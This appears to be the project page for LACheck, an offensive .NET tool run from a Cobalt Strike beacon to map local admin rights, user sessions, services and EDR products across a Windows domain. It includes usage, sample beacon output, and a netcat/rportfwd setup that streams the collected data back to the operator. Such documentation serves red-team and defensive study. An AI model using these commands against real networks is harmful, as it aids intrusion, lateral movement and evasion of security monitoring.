LACheck - Multithreaded C# .NET Assembly Local Administrative Privilege Enumeration

LACheck – Multithreaded C# .NET Assembly Local Administrative Privilege Enumeration

[*]

Multithreaded C# .NET Assembly Local Administrative Privilege Enumeration

Arguments

domain controller to query (if not ran on a domain-joined host) /domain – specify domain name (if not ran on a domain-joined host) /edr – check host for EDR (requires smb, rpc, or winrm) /logons – return logged on users on a host (requires smb, rpc, or winrm) /registry – enumerate sessions from registry hive (requires smb) /services – return services running as users (requires smb, rpc, or winrm) /socket – send bloodhound output to TCP socket instead of writing to disk ex: “”127.0.0.1:8080″” /targets – comma-separated list of hostnames to check /threads – specify maximum number of parallel threads (default=25) /user – specify username that collection was run under (useful during token manipulation) /validate – check credentials against Domain prior to scanning targets (useful during token manipulation) /verbose – print additional logging information /ou – specify LDAP OU to query enabled computer objects from ex: “OU=Special Servers,DC=example,DC=local” /ldap – query hosts from the following LDAP filters: :all – All enabled computers with ‘primary’ group ‘Domain Computers’ :dc – All enabled Domain Controllers (not read-only DCs) :exclude-dc – All enabled computers that are not Domain Controllers or read-only DCs :servers – All enabled servers :servers-exclude-dc – All enabled servers excluding Domain Controllers or read-only DCs”>

> ./LACheck.exe help
_ _____ _ _
| | / / ____| | | |
| | / | | | |__ ___ ___| | __
| | / / | | | '_ / _ / __| |/ /
| |____ / ____ | |____| | | | __/ (__| <
|______/_/ _ _____|_| |_|___|___|_|_

Usage:
LACheck.exe smb rpc /targets:hostname,fqdn.domain.tld,10.10.10.10 /ldap:all /ou:"OU=Special Servers,DC=example,DC=local" /verbose /bloodhound /user:[email protected]

Local Admin Checks:
smb - Attempts to access C$ share
rpc - Attempts WMI query of Win32_ComputerSystem Class provider over RPC
winrm - Attempts WMI query of Win32_ComputerSystem Class Provider over WinRM Session

Arguments:
/bloodhound - generate bloodhound-digestible AdminTo and Session collection file
output file is zipped and enypted with randomized name and password
/dc - specify domain controller to query (if not ran on a domain-joined host)
/domain - specify domain name (if not ran on a domain-joined host)
/edr - check host for EDR (requires smb, rpc, or winrm)
/logons - return logged on users on a host (requires smb, rpc, or winrm)
/registry - enumerate sessions from registry hive (requires smb)
/services - return services running as users (requires smb, rpc, or winrm)
/socket - send bloodhound output to TCP socket instead of writing to disk
ex: ""127.0.0.1:8080""
/targets - comma-separated list of hostnames to check
/threads - specify maximum number of parallel threads (default=25)
/user - specify username that collection was run under (useful during token manipulation)
/validate - check credentials aga inst Domain prior to scanning targets (useful during token manipulation)
/verbose - print additional logging information
/ou - specify LDAP OU to query enabled computer objects from
ex: "OU=Special Servers,DC=example,DC=local"
/ldap - query hosts from the following LDAP filters:
:all - All enabled computers with 'primary' group 'Domain Computers'
:dc - All enabled Domain Controllers (not read-only DCs)
:exclude-dc - All enabled computers that are not Domain Controllers or read-only DCs
:servers - All enabled servers
:servers-exclude-dc - All enabled servers excluding Domain Controllers or read-only DCs

Execute Assembly

execute-assembly /opt/SharpTools/LACheck smb rpc winrm /ldap:servers-exclude-dc /targets:WEB01,DEV02.contoso.com,10.10.10.10 /logons /threads:10 /verbose

Output

authentication may be used with an IP address under the following conditions: the transport is HTTPS or the destination is in the TrustedHosts list, and explicit credentials are provided. Use winrm.cmd to configure TrustedHosts. Note that computers in the TrustedHosts list might not be authenticated. For more information on how to set TrustedHosts run the following command: winrm help config.”>

[*] Tasked beacon to run .NET program: LACheck smb rpc winrm /ldap:servers-exclude-dc /targets:WEB01,DEV02.contoso.com,10.10.10.10 /logons /threads:10 /verbose
[+] host called home, sent: 111705 bytes
[+] received Output
[+] Parsed Aguments:
rpc: True
smb: True
winrm: True
/bloodhound: False
/edr: False
/logons: True
/registry: False /services: False
/ldap: servers-exclude-dc
/ou:
/targets:
/threads: 10
/user: svcadmin
/validate: False
/verbose: False
[+] Performing LDAP query for all enabled computers that are not Domain Controllers or read-only DCs...
[+] This may take some time depending on the size of the environment
[+] LDAP Search Results: 2
[SMB] Admin Success: WEB01 as svcadmin
[session] WEB01 - contosodevadmin (svcadmin)
[session] WEB01 - contosodevuser (svcadmin)
[session] WEB01 - contosoWEB01$ (svcadmin)
[session] WEB01 - contosodevadmin (svcadmin)
[session] WEB01 - contosodevuser (svcadmin)
[rdp] WEB01 - contosodevadmin rdp-tcp#2 Active Last Connection: 00:00:50:26 Last Input: 00:00:00:00 (svcadmin)
[session] WEB01 - contosodevadmin 4/20/2021 11:00:05 AM (svcadmin)
[session] WEB01 - contosodevuser 4/20/2021 1:40:52 PM (svcadmin)
[session] WEB01 - contosoWEB01$ 4/20/2021 5:51:43 PM (svcadmin)
[session] WEB01 - contosodevadmin 4/20/2021 09:54:38 AM (svcadmin)
[session] WEB01 - contosodevuser 4/20/2021 10:14:32 AM (svcadmin)
[WinRM] Admin Success: DESKTOP-118GDCE as svcadmin
[WinRM] Admin Success: DEV02.contoso.com as svcadmin
[!] RPC on DEV02.contoso.com - Access denied.
[!] SMB on DEV02.contoso.com - Attempted to perform an unauthorized operation.
[RPC] Admin Success: 10.10.10.10 as svcadmin
[!] SMB on 10.10.10.10 - Attempted to perform an unauthorized operation.
[!] WinRM on 10.10.10.10 - The WinRM client cannot process the request. Default authentication may be used with an IP address under the following conditions: the transport is HTTPS or the destination is in the TrustedHosts list, and explicit credentials are provided. Use winrm.cmd to configure TrustedHosts. Note that computers in the TrustedHosts list might not be authenticated. For more information on how to set TrustedHosts run the following command: winrm help config.

WinRM Authentication

As seen in the above example output, attempting to check WinRM on the host at IP address 10.10.10.10 will error due to the WinRM client not attempting to authenticate to a host via IP address.

Use hostnames when attempting to check WinRM Access.

Specifying Targets

The /targets, /ldap, and /ou flags can all be used together or seprately to generate a list of hosts to enumerate.

All hosts returned from these flags are combined and deduplicated before enumeration starts.

Bloodhound

LACheck supports writing AdminTo and Session collected into json output that can be uploaded to BloodHound

This output is only meant to augment an existing BloodHound collection with updated Administrative privileges for a single user and Sessions collected from hosts that Administrative privileges have been identified

The /bloodhound switch will write a randomly-named encrypted zip file to disk which can be downloaded, extracted, and uploaded to BloodHound

/user

BloodHound requires resolving users and computers to SIDs. Due to impersonation techniques such as Cobalt Strike’s make_token and kerberos_ticket_use, LACheck may not be able to accurately determine the user context for a collection. The /user arguement is required to supply LACheck with the userprincipalname (format = [email protected]) of the context it is ran under in order to accurately correlate the collection information.

/socket

BloodHound output can be sent to a TCP socket instead of being written to disk.

If the TCP connection fails, BloodHound output will be written to disk.

In a Cobalt Strike beacon, TCP connections can be forwarded from a host back to the operator’s local machine using rportfwd_local:

rportfwd_local 8888 127.0.0.1 8888

An operator may then pipe the output of the TCP stream to a local file using netcat:

nc -lvnp 8888 > computers.json 

Enumeration Methods

Performance Summary

SMB WMI WinRM
/edr fast fast fast
/logons fast fast fast
/services slow fast fast
/registry slow fast

– = not implemented

SMB

/edr

Inspired by harleyQu1nn’s EDR.cna script

Directory.GetFiles Method returns a list of drivers from:

  • \hostC$windowssystem32drivers
  • \hostC$windowssysnativedrivers

Drivers are looked up against a list of known drivers used by EDR vendors.

Example Output ran as svcadmin user

[EDR] WEB01 - Found: CrowdStrike, SentinelOne (svcadmin)
[EDR] DEV02 - no EDR found (svcadmin)

/logons

NetWkstaUserEnum returns a list of users with interactive, service and batch logons

WTSEnumerateSessionsA returns a list of RDP sessions on a host

WTSQuerySessionInformationA retrieves detailed information for each RDP session

Example Output ran as svcadmin user

[session] WEB01 - contosodevadmin (svcadmin)
[session] WEB01 - contosodevuser (svcadmin)
[session] WEB01 - contosoWEB01$ (svcadmin)
[session] WEB01 - contosodevadmin (svcadmin)
[session] WEB01 - contosodevuser (svcadmin)
[rdp] WEB01 - contosodevadmin rdp-tcp#2 Active Last Connection: 00:00:50:26 Last Input: 00:00:00:00 (svcadmin)

/registry

Iterate through SIDs in \ComputerHKEY_USERS hive, attempts to access Volatile Environment for each SID, and retrieves values from USERDOMAIN and USERNAME keys.

This method requires the Remote Registry service to be running on a remote host. If it is not:

  1. initial start type of the Remote Registry service is recorded
  2. start type is changed to Automatic
  3. Remote Registry service is started
  4. registry hives are enumerated
  5. Remote Registry service is stopped
  6. start type is reverted to its initially recorded value

Due to the potentially multi-step process to enumerate each host, this method may be slower compared to alternative techniques. smb /logons is faster

Example Output ran as svcadmin user

[registry] WEB01 - contosodevadmin (svcadmin)

/services

ServiceController.GetServices Method retrieves a list of services on a host

Each service is queried to determine the user it is configured to run as.

Due to each service having to be queried individually, this method may be slower compared to alternative techniques. wmi /services is faster

Example Output ran as svcadmin user

[service] WEB01 - [email protected] Service: secretsvc State: Running (svcadmin)

WMI

/edr

Inspired by harleyQu1nn’s EDR.cna script

CIM_DataFile class returns a list of drivers from:

  • hostC$windowssystem32drivers
  • hostC$windowssysnativedrivers

Drivers are looked up against a list of known drivers used by EDR vendors.

Example Output ran as svcadmin user

[EDR] WEB01 - Found: CrowdStrike, SentinelOne (svcadmin)
[EDR] DEV02 - no EDR found (svcadmin)

/logons

Win32_LoggedOnUser class returns a list of logged on sessions Win32_LogonSession class returns detailed information for each session

Example Output ran as svcadmin user

[session] WEB01 - contosodevadmin  4/20/2021 11:00:05 AM (svcadmin)
[session] WEB01 - contosodevuser 4/20/2021 1:40:52 PM (svcadmin)
[session] WEB01 - contosoWEB01$ 4/20/2021 5:51:43 PM (svcadmin)
[session] WEB01 - contosodevadmin 4/20/2021 09:54:38 AM (svcadmin)
[session] WEB01 - contosodevuser 4/20/2021 10:14:32 AM (svcadmin)

/registry

Queries the Win32_UserProfile class to retrieve SIDs for user profiles on a system.

The EnumKey method of the StdRegProv class retrieves the \ComputerHKEY_USERS hive and attempts to access Volatile Environment for each returned SID to retrieve values from the USERDOMAIN and USERNAME keys.

Example Output ran as svcadmin user

[registry] WEB01 - contosodevadmin (svcadmin)

/services

Queries the Win32_Service class to retrieve the name, user, and state of services

Example Output ran as svcadmin user

[service] WEB01 - [email protected] Service: secretsvc State: Running (svcadmin)

WinRM

Each WMI checks is also implemented using WMI Resources and WMI Enumeration over WinRM.

This avoids the use of PowerShell runspaces.

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